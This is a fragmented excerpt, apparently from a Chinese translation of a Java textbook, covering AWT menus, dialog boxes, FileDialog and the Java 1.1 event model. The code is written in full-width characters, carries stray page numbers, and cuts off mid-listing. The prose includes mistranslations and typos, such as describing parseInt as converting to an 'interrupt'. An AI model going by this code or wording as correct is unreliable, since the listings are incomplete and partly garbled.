    {"text": "／／： Ｍｅｎｕ１．ｊａｖａ ／／ Ｍｅｎｕｓ ｗｏｒｋ ｏｎｌｙ ｗｉｔｈ Ｆｒａｍｅｓ． ／／ Ｓｈｏｗｓ ｓｕｂｍｅｎｕｓ， ｃｈｅｃｋｂｏｘ ｍｅｎｕ ｉｔｅｍｓ ／／ ａｎｄ ｓｗａｐｐｉｎｇ ｍｅｎｕｓ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｅｎｕ１ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ Ｓｔｒｉｎｇ［］ ｆｌａｖｏｒｓ ＝ ｛ ＂Ｃｈｏｃｏｌａｔｅ＂， ＂Ｓｔｒａｗｂｅｒｒｙ＂， ＂Ｖａｎｉｌｌａ Ｆｕｄｇｅ Ｓｗｉｒｌ＂， ＂Ｍｉｎｔ Ｃｈｉｐ＂， ＂Ｍｏｃｈａ Ａｌｍｏｎｄ Ｆｕｄｇｅ＂， ＂Ｒｕｍ Ｒａｉｓｉｎ＂， ＂Ｐｒａｌｉｎｅ Ｃｒｅａｍ＂， ＂Ｍｕｄ Ｐｉｅ＂ ｝； ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂Ｎｏ ｆｌａｖｏｒ＂， ３０）； ＭｅｎｕＢａｒ ｍｂ１ ＝ ｎｅｗ ＭｅｎｕＢａｒ（）； Ｍｅｎｕ ｆ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｆｉｌｅ＂）； ４０１ Ｍｅｎｕ ｍ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｆｌａｖｏｒｓ＂）； Ｍｅｎｕ ｓ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｓａｆｅｔｙ＂）； ／／ Ａｌｔｅｒｎａｔｉｖｅ ａｐｐｒｏａｃｈ： ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ［］ ｓａｆｅｔｙ ＝ ｛ ｎｅｗ ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ（＂Ｇｕａｒｄ＂）， ｎｅｗ ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ（＂Ｈｉｄｅ＂） ｝； ＭｅｎｕＩｔｅｍ［］ ｆｉｌｅ ＝ ｛ ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｏｐｅｎ＂）， ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｅｘｉｔ＂） ｝； ／／ Ａ ｓｅｃｏｎｄ ｍｅｎｕ ｂａｒ ｔｏ ｓｗａｐ ｔｏ： ＭｅｎｕＢａｒ ｍｂ２ ＝ ｎｅｗ ＭｅｎｕＢａｒ（）； Ｍｅｎｕ ｆｏｏＢａｒ ＝ ｎｅｗ Ｍｅｎｕ（＂ｆｏｏＢａｒ＂）； ＭｅｎｕＩｔｅｍ［］ ｏｔｈｅｒ ＝ ｛ ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｆｏｏ＂）， ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｂａｒ＂）， ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｂａｚ＂）， ｝； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｗａｐ Ｍｅｎｕｓ＂）； ｐｕｂｌｉｃ Ｍｅｎｕ１（） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｍ．ａｄｄ（ｎｅｗ ＭｅｎｕＩｔｅｍ（ｆｌａｖｏｒｓ［ｉ］））； ／／ Ａｄｄ ｓｅｐａｒａｔｏｒｓ ａｔ ｉｎｔｅｒｖａｌｓ： ｉｆ（（ｉ＋１） ％ ３ ＝＝ ０） ｍ．ａｄｄＳｅｐａｒａｔｏｒ（）； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓａｆｅｔｙ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ．ａｄｄ（ｓａｆｅｔｙ［ｉ］）； ｆ．ａｄｄ（ｓ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｉｌｅ．ｌｅｎｇｔｈ； ｉ＋＋） ｆ．ａｄｄ（ｆｉｌｅ［ｉ］）； ｍｂ１．ａｄｄ（ｆ）； ｍｂ１．ａｄｄ（ｍ）； ｓｅｔＭｅｎｕＢａｒ（ｍｂ１）； ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ａｄｄ（＂Ｃｅｎｔｅｒ＂， ｔ）； ／／ Ｓｅｔ ｕｐ ｔｈｅ ｓｙｓｔｅｍ ｆｏｒ ｓｗａｐｐｉｎｇ ｍｅｎｕｓ： ａｄｄ（＂Ｎｏｒｔｈ＂， ｂ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｏｔｈｅｒ．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｏＢａｒ．ａｄｄ（ｏｔｈｅｒ［ｉ］）； ｍｂ２．ａｄｄ（ｆｏｏＢａｒ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｈａｎｄｌｅＥｖｅｎｔ（Ｅｖｅｎｔ ｅｖｔ） ｛ ｉｆ（ｅｖｔ．ｉｄ ＝＝ Ｅｖｅｎｔ．ＷＩＮＤＯＷ＿ＤＥＳＴＲＯＹ） Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（ｅｖｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ）） ｛ ４０２ ＭｅｎｕＢａｒ ｍ ＝ ｇｅｔＭｅｎｕＢａｒ（）； ｉｆ（ｍ ＝＝ ｍｂ１） ｓｅｔＭｅｎｕＢａｒ（ｍｂ２）； ｅｌｓｅ ｉｆ （ｍ ＝＝ ｍｂ２） ｓｅｔＭｅｎｕＢａｒ（ｍｂ１）； ｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ ｉｎｓｔａｎｃｅｏｆ ＭｅｎｕＩｔｅｍ） ｛ ｉｆ（ａｒｇ．ｅｑｕａｌｓ（＂Ｏｐｅｎ＂）） ｛ Ｓｔｒｉｎｇ ｓ ＝ ｔ．ｇｅｔＴｅｘｔ（）； ｂｏｏｌｅａｎ ｃｈｏｓｅｎ ＝ ｆａｌｓｅ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｓ．ｅｑｕａｌｓ（ｆｌａｖｏｒｓ［ｉ］）） ｃｈｏｓｅｎ ＝ ｔｒｕｅ； ｉｆ（！ ｃｈｏｓｅｎ） ｔ．ｓｅｔＴｅｘｔ（＂Ｃｈｏｏｓｅ ａ ｆｌａｖｏｒ ｆｉｒｓｔ！"},
    {"text": "｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｆｉｌｅ［１］）） Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ／／ ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍｓ ｃａｎｎｏｔ ｕｓｅ Ｓｔｒｉｎｇ ／／ ｍａｔｃｈｉｎｇ； ｙｏｕ ｍｕｓｔ ｍａｔｃｈ ｔｈｅ ｔａｒｇｅｔ： ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓａｆｅｔｙ［０］）） ｔ．ｓｅｔＴｅｘｔ（＂Ｇｕａｒｄ ｔｈｅ Ｉｃｅ Ｃｒｅａｍ！ ＂ ＋ ＂Ｇｕａｒｄｉｎｇ ｉｓ ＂ ＋ ｓａｆｅｔｙ［０］．ｇｅｔＳｔａｔｅ（））； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓａｆｅｔｙ［１］）） ｔ．ｓｅｔＴｅｘｔ（＂Ｈｉｄｅ ｔｈｅ Ｉｃｅ Ｃｒｅａｍ！ ＂ ＋ ＂Ｉｓ ｉｔ ｃｏｌｄ？ ＂ ＋ ｓａｆｅｔｙ［１］．ｇｅｔＳｔａｔｅ（））； ｅｌｓｅ ｔ．ｓｅｔＴｅｘｔ（ａｒｇ．ｔｏＳｔｒｉｎｇ（））； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｍｅｎｕ１ ｆ ＝ ｎｅｗ Ｍｅｎｕ１（）； ｆ．ｒｅｓｉｚｅ（３００，２００）； ｆ．ｓｈｏｗ（）；"},
    {"text": "作为一个可选择的方法（我发现这很难令我满意，因为它需要更多的分配）ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍｓ 在数组的句 柄中被创建是被称为安全创建；"},
    {"text": "我们可以看到菜单条怎 样组成菜单，每个菜单怎样组成菜单项（ＭｅｎｕＩｔｅｍｓ），ｃｈｅｎｋｂｏｘＭｅｎｕＩｔｅｍｓ 或者其它的菜单（产生子菜 单）。"},
    {"text": "当菜单组合后，可以用 ｓｅｔＭｅｎｕＢａｒ（）方法安装到现在的程序中。 值得注意的是当按钮被压下时，它将 检查当前的菜单安装使用 ｇｅｔＭｅｎｕＢａｒ（），然后安放其它的菜单条在它的位置上。"},
    {"text": "校验和非校验的菜单项自动地运行，与之相关的 ＣｈｅｃｋＢｏｘＭｅｎｕＩｔｅｍｓ 着实令人吃惊，这是因为一些原因它们 不允许字符串匹配。"},
    {"text": "一个对话框拥有布局管理器（默认的是 ＢｏｒｄｅｒＬａｙｏｕｔ 布局管 理器）和过载 ａｃｔｉｏｎ（）等等，或用 ｈａｎｄｌｅＥｖｅｎｔ（） 去处理事件。"},
    {"text": "我们会注意到 ｈａｎｄｌｅＥｖｅｎｔ（）的一个重要差 异：当 ＷＩＮＤＯＷ＿ＤＥＳＴＯＲＹ 事件发生时，我们并不希望关闭正在运行的应用程序！"},
    {"text": "在下面的例子中，对话框是由定义在那儿作为 类的 ＴｏｅＢｕｔｔｏｎ 的特殊按钮组成的网格构成的（利用 ＧｒｉｄＬａｙｏｕｔ 布局管理器）。"},
    {"text": "ＴｏｅＢｕｔｔｏｎ 按钮围绕它自已 画了一个帧，并且依赖它的状态：在空的中的“Ｘ”或者“Ｏ”。 它从空白开始，然后依靠使用者的选择， 转换成“Ｘ”或“Ｏ”。 但是，当我们单击在按钮上时，它会在“Ｘ”和“Ｏ”之间来回交换。"},
    {"text": "／／： ＴｏｅＴｅｓｔ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ｄｉａｌｏｇ ｂｏｘｅｓ ／／ ａｎｄ ｃｒｅａｔｉｎｇ ｙｏｕｒ ｏｗｎ ｃｏｍｐｏｎｅｎｔｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｃｌａｓｓ ＴｏｅＢｕｔｔｏｎ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｛ ｉｎｔ ｓｔａｔｅ ＝ ＴｏｅＤｉａｌｏｇ．ＢＬＡＮＫ； ＴｏｅＤｉａｌｏｇ ｐａｒｅｎｔ； ＴｏｅＢｕｔｔｏｎ（ＴｏｅＤｉａｌｏｇ ｐａｒｅｎｔ） ｛ ｔｈｉｓ．ｐａｒｅｎｔ ＝ ｐａｒｅｎｔ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｉｎｔ ｘ１ ＝ ０； ｉｎｔ ｙ１ ＝ ０； ｉｎｔ ｘ２ ＝ ｓｉｚｅ（）．ｗｉｄｔｈ － １； ｉｎｔ ｙ２ ＝ ｓｉｚｅ（）．ｈｅｉｇｈｔ － １； ｇ．ｄｒａｗＲｅｃｔ（ｘ１， ｙ１， ｘ２， ｙ２）； ｘ１ ＝ ｘ２／４； ｙ１ ＝ ｙ２／４； ｉｎｔ ｗｉｄｅ ＝ ｘ２／２； ｉｎｔ ｈｉｇｈ ＝ ｙ２／２； ｉｆ（ｓｔａｔｅ ＝＝ ＴｏｅＤｉａｌｏｇ．ＸＸ） ｛ ｇ．ｄｒａｗＬｉｎｅ（ｘ１， ｙ１， ｘ１ ＋ ｗｉｄｅ， ｙ１ ＋ ｈｉｇｈ）； ｇ．ｄｒａｗＬｉｎｅ（ｘ１， ｙ１ ＋ ｈｉｇｈ， ｘ１ ＋ ｗｉｄｅ， ｙ１）； ｝ ｉｆ（ｓｔａｔｅ ＝＝ ＴｏｅＤｉａｌｏｇ．ＯＯ） ｛ ｇ．ｄｒａｗＯｖａｌ（ｘ１， ｙ１， ｘ１＋ｗｉｄｅ／２， ｙ１＋ｈｉｇｈ／２）； ４０４ ｝ ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｍｏｕｓｅＤｏｗｎ（Ｅｖｅｎｔ ｅｖｔ， ｉｎｔ ｘ， ｉｎｔ ｙ） ｛ ｉｆ（ｓｔａｔｅ ＝＝ ＴｏｅＤｉａｌｏｇ．ＢＬＡＮＫ） ｛ ｓｔａｔｅ ＝ ｐａｒｅｎｔ．ｔｕｒｎ； ｐａｒｅｎｔ．ｔｕｒｎ＝ （ｐａｒｅｎｔ．ｔｕｒｎ ＝＝ ＴｏｅＤｉａｌｏｇ．ＸＸ ？ ＴｏｅＤｉａｌｏｇ．ＯＯ ： ＴｏｅＤｉａｌｏｇ．ＸＸ）； ｝ ｅｌｓｅ ｓｔａｔｅ ＝ （ｓｔａｔｅ ＝＝ ＴｏｅＤｉａｌｏｇ．ＸＸ ？ ＴｏｅＤｉａｌｏｇ．ＯＯ ： ＴｏｅＤｉａｌｏｇ．ＸＸ）； ｒｅｐａｉｎｔ（）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｝ ｃｌａｓｓ ＴｏｅＤｉａｌｏｇ ｅｘｔｅｎｄｓ Ｄｉａｌｏｇ ｛ ／／ ｗ ＝ ｎｕｍｂｅｒ ｏｆ ｃｅｌｌｓ ｗｉｄｅ ／／ ｈ ＝ ｎｕｍｂｅｒ ｏｆ ｃｅｌｌｓ ｈｉｇｈ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＢＬＡＮＫ ＝ ０； ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＸＸ ＝ １； ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＯＯ ＝ ２； ｉｎｔ ｔｕｒｎ ＝ ＸＸ； ／／ Ｓｔａｒｔ ｗｉｔｈ ｘ＇ｓ ｔｕｒｎ ｐｕｂｌｉｃ ＴｏｅＤｉａｌｏｇ（Ｆｒａｍｅ ｐａｒｅｎｔ， ｉｎｔ ｗ， ｉｎｔ ｈ） ｛ ｓｕｐｅｒ（ｐａｒｅｎｔ， ＂Ｔｈｅ ｇａｍｅ ｉｔｓｅｌｆ＂， ｆａｌｓｅ）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｗ， ｈ））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｗ ＊ ｈ； ｉ＋＋） ａｄｄ（ｎｅｗ ＴｏｅＢｕｔｔｏｎ（ｔｈｉｓ））； ｒｅｓｉｚｅ（ｗ ＊ ５０， ｈ ＊ ５０）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｈａｎｄｌｅＥｖｅｎｔ（Ｅｖｅｎｔ ｅｖｔ） ｛ ｉｆ（ｅｖｔ．ｉｄ ＝＝ Ｅｖｅｎｔ．ＷＩＮＤＯＷ＿ＤＥＳＴＲＯＹ） ｄｉｓｐｏｓｅ（）； ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（ｅｖｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＴｏｅＴｅｓｔ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＴｅｘｔＦｉｅｌｄ ｒｏｗｓ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂３＂）； ＴｅｘｔＦｉｅｌｄ ｃｏｌｓ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂３＂）； ｐｕｂｌｉｃ ＴｏｅＴｅｓｔ（） ｛ ｓｅｔＴｉｔｌｅ（＂Ｔｏｅ Ｔｅｓｔ＂）； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，２））； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｒｏｗｓ＂， Ｌａｂｅｌ．ＣＥＮＴＥＲ））； ｐ．ａｄｄ（ｒｏｗｓ）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｃｏｌｕｍｎｓ＂， Ｌａｂｅｌ．ＣＥＮＴＥＲ））； ｐ．ａｄｄ（ｃｏｌｓ）； ａｄｄ（＂Ｎｏｒｔｈ＂， ｐ）； ４０５ ａｄｄ（＂Ｓｏｕｔｈ＂， ｎｅｗ Ｂｕｔｔｏｎ（＂ｇｏ＂））； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｈａｎｄｌｅＥｖｅｎｔ（Ｅｖｅｎｔ ｅｖｔ） ｛ ｉｆ（ｅｖｔ．ｉｄ ＝＝ Ｅｖｅｎｔ．ＷＩＮＤＯＷ＿ＤＥＳＴＲＯＹ） Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（ｅｖｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ａｒｇ．ｅｑｕａｌｓ（＂ｇｏ＂）） ｛ Ｄｉａｌｏｇ ｄ ＝ ｎｅｗ ＴｏｅＤｉａｌｏｇ（ ｔｈｉｓ， Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｒｏｗｓ．ｇｅｔＴｅｘｔ（））， Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｃｏｌｓ．ｇｅｔＴｅｘｔ（）））； ｄ．ｓｈｏｗ（）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＴｏｅＴｅｓｔ（）； ｆ．ｒｅｓｉｚｅ（２００，１００）； ｆ．ｓｈｏｗ（）；"},
    {"text": "正如前面所述，ＴｏｅＢｕｔｔｏｎ 和 ＴｏｅＤｉａｌｏｇ 高度的结 合因为一个 ＴｏｅＢｕｔｔｏｎ 只能被一个 ＴｏｅＤｉａｌｏｇ 所使用，但它却解决了一系列的问题，事实上这实在不是一个 糟糕的解决方案因为没有另外的可以记录用户选择的对话类。"},
    {"text": "ＴｏｅＤｉａｌｏｇ 的构建器十分的简单：它像我们所需要的一样增加一些按钮到 ＧｒｉｄＬａｙｏｕｔ 布局管理器中，然后调 整每个按钮每边大小为 ５０ 个像素（如果我们不调整窗口，那么它就不会显示出来）。"},
    {"text": "当按钮按下时，ＴｅｘｔＦｉｅｌｄ 中的数据将被取出，并且，因为它们在字符串结构中，所以需 要利用静态的 Ｉｎｔｅｇｅｒ．ｐａｒｅｓＩｎｔ（）方法来转变成中断。"},
    {"text": "／／： ＦｉｌｅＤｉａｌｏｇＴｅｓｔ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ Ｆｉｌｅ ｄｉａｌｏｇ ｂｏｘｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｌｅＤｉａｌｏｇＴｅｓｔ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＴｅｘｔＦｉｅｌｄ ｆｉｌｅｎａｍｅ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（）； ＴｅｘｔＦｉｅｌｄ ｄｉｒｅｃｔｏｒｙ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（）； Ｂｕｔｔｏｎ ｏｐｅｎ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｏｐｅｎ＂）； Ｂｕｔｔｏｎ ｓａｖｅ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓａｖｅ＂）； ｐｕｂｌｉｃ ＦｉｌｅＤｉａｌｏｇＴｅｓｔ（） ｛ ｓｅｔＴｉｔｌｅ（＂Ｆｉｌｅ Ｄｉａｌｏｇ Ｔｅｓｔ＂）； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｐ．ａｄｄ（ｏｐｅｎ）； ｐ．ａｄｄ（ｓａｖｅ）； ａｄｄ（＂Ｓｏｕｔｈ＂， ｐ）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｉｌｅｎａｍｅ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，１））； ｐ．ａｄｄ（ｆｉｌｅｎａｍｅ）； ｐ．ａｄｄ（ｄｉｒｅｃｔｏｒｙ）； ａｄｄ（＂Ｎｏｒｔｈ＂， ｐ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｈａｎｄｌｅＥｖｅｎｔ（Ｅｖｅｎｔ ｅｖｔ） ｛ ｉｆ（ｅｖｔ．ｉｄ ＝＝ Ｅｖｅｎｔ．ＷＩＮＤＯＷ＿ＤＥＳＴＲＯＹ） Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（ｅｖｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｏｐｅｎ）） ｛ ／／ Ｔｗｏ ａｒｇｕｍｅｎｔｓ， ｄｅｆａｕｌｔｓ ｔｏ ｏｐｅｎ ｆｉｌｅ： ＦｉｌｅＤｉａｌｏｇ ｄ ＝ ｎｅｗ ＦｉｌｅＤｉａｌｏｇ（ｔｈｉｓ， ＂Ｗｈａｔ ｆｉｌｅ ｄｏ ｙｏｕ ｗａｎｔ ｔｏ ｏｐｅｎ？"},
    {"text": "ｄ．ｓｅｔＦｉｌｅ（＂＊．ｊａｖａ＂）； ／／ Ｆｉｌｅｎａｍｅ ｆｉｌｔｅｒ ｄ．ｓｅｔＤｉｒｅｃｔｏｒｙ（＂．＂）； ／／ Ｃｕｒｒｅｎｔ ｄｉｒｅｃｔｏｒｙ ｄ．ｓｈｏｗ（）； Ｓｔｒｉｎｇ ｏｐｅｎＦｉｌｅ； ｉｆ（（ｏｐｅｎＦｉｌｅ ＝ ｄ．ｇｅｔＦｉｌｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（ｏｐｅｎＦｉｌｅ）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（ｄ．ｇｅｔＤｉｒｅｃｔｏｒｙ（））； ｝ ｅｌｓｅ ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（＂Ｙｏｕ ｐｒｅｓｓｅｄ ｃａｎｃｅｌ＂）； ４０７ ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（＂＂）； ｝ ｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓａｖｅ）） ｛ ＦｉｌｅＤｉａｌｏｇ ｄ ＝ ｎｅｗ ＦｉｌｅＤｉａｌｏｇ（ｔｈｉｓ， ＂Ｗｈａｔ ｆｉｌｅ ｄｏ ｙｏｕ ｗａｎｔ ｔｏ ｓａｖｅ？ ＂， ＦｉｌｅＤｉａｌｏｇ．ＳＡＶＥ）； ｄ．ｓｅｔＦｉｌｅ（＂＊．ｊａｖａ＂）； ｄ．ｓｅｔＤｉｒｅｃｔｏｒｙ（＂．＂）； ｄ．ｓｈｏｗ（）； Ｓｔｒｉｎｇ ｓａｖｅＦｉｌｅ； ｉｆ（（ｓａｖｅＦｉｌｅ ＝ ｄ．ｇｅｔＦｉｌｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（ｓａｖｅＦｉｌｅ）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（ｄ．ｇｅｔＤｉｒｅｃｔｏｒｙ（））； ｝ ｅｌｓｅ ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（＂Ｙｏｕ ｐｒｅｓｓｅｄ ｃａｎｃｅｌ＂）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（＂＂）； ｝ ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＦｉｌｅＤｉａｌｏｇＴｅｓｔ（）； ｆ．ｒｅｓｉｚｅ（２５０，１１０）； ｆ．ｓｈｏｗ（）；"},
    {"text": "ｓｅｔＦｉｌｅ（）方法提供一个初始文件名－－也许本地操作系统支持通配符，因此在这个例子中所有 的．ｊａｖａ 文件最开头会被显示出来。 ｓｅｔＤｉｒｅｃｔｏｒｙ（）方法选择文件决定开始的目录（一般而言，操作系统允 许用户改变目录）。"},
    {"text": "大多数的改变围绕在 Ｊａｖａ １．１ 中使用的新事件模 型：老的事件模型是糟糕的、笨拙的、非面向对象的，而新的事件模型可能是我所见过的最优秀的。"},
    {"text": "我们可以容易地了解到以 ａｄｄＬｉｓｔｅｎｅｄ 名的方法通知我们任何的事件类型 都可以被处理，如果我们试图接收事件我们会发现编译时我们的错误。"},
    {"text": "我们可以创建一个全局接收器类，这种情况在内部类中有助于被很好地使用，不仅仅是因为它们提 供了一个理论上的接收器类组到它们服务的 ＵＩ 或业务逻辑类中，但因为（正像我们将会在本章后面看到的） 事实是一个内部类维持一个句柄到它的父对象，提供了一个很好的通过类和子系统边界的调用方法。"},
    {"text": "／／： Ｂｕｔｔｏｎ２Ｎｅｗ．ｊａｖａ ／／ Ｃａｐｔｕｒｉｎｇ ｂｕｔｔｏｎ ｐｒｅｓｓｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ／／ Ｍｕｓｔ ａｄｄ ｔｈｉｓ ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｕｔｔｏｎ２Ｎｅｗ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２（））； ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ｝ ｃｌａｓｓ 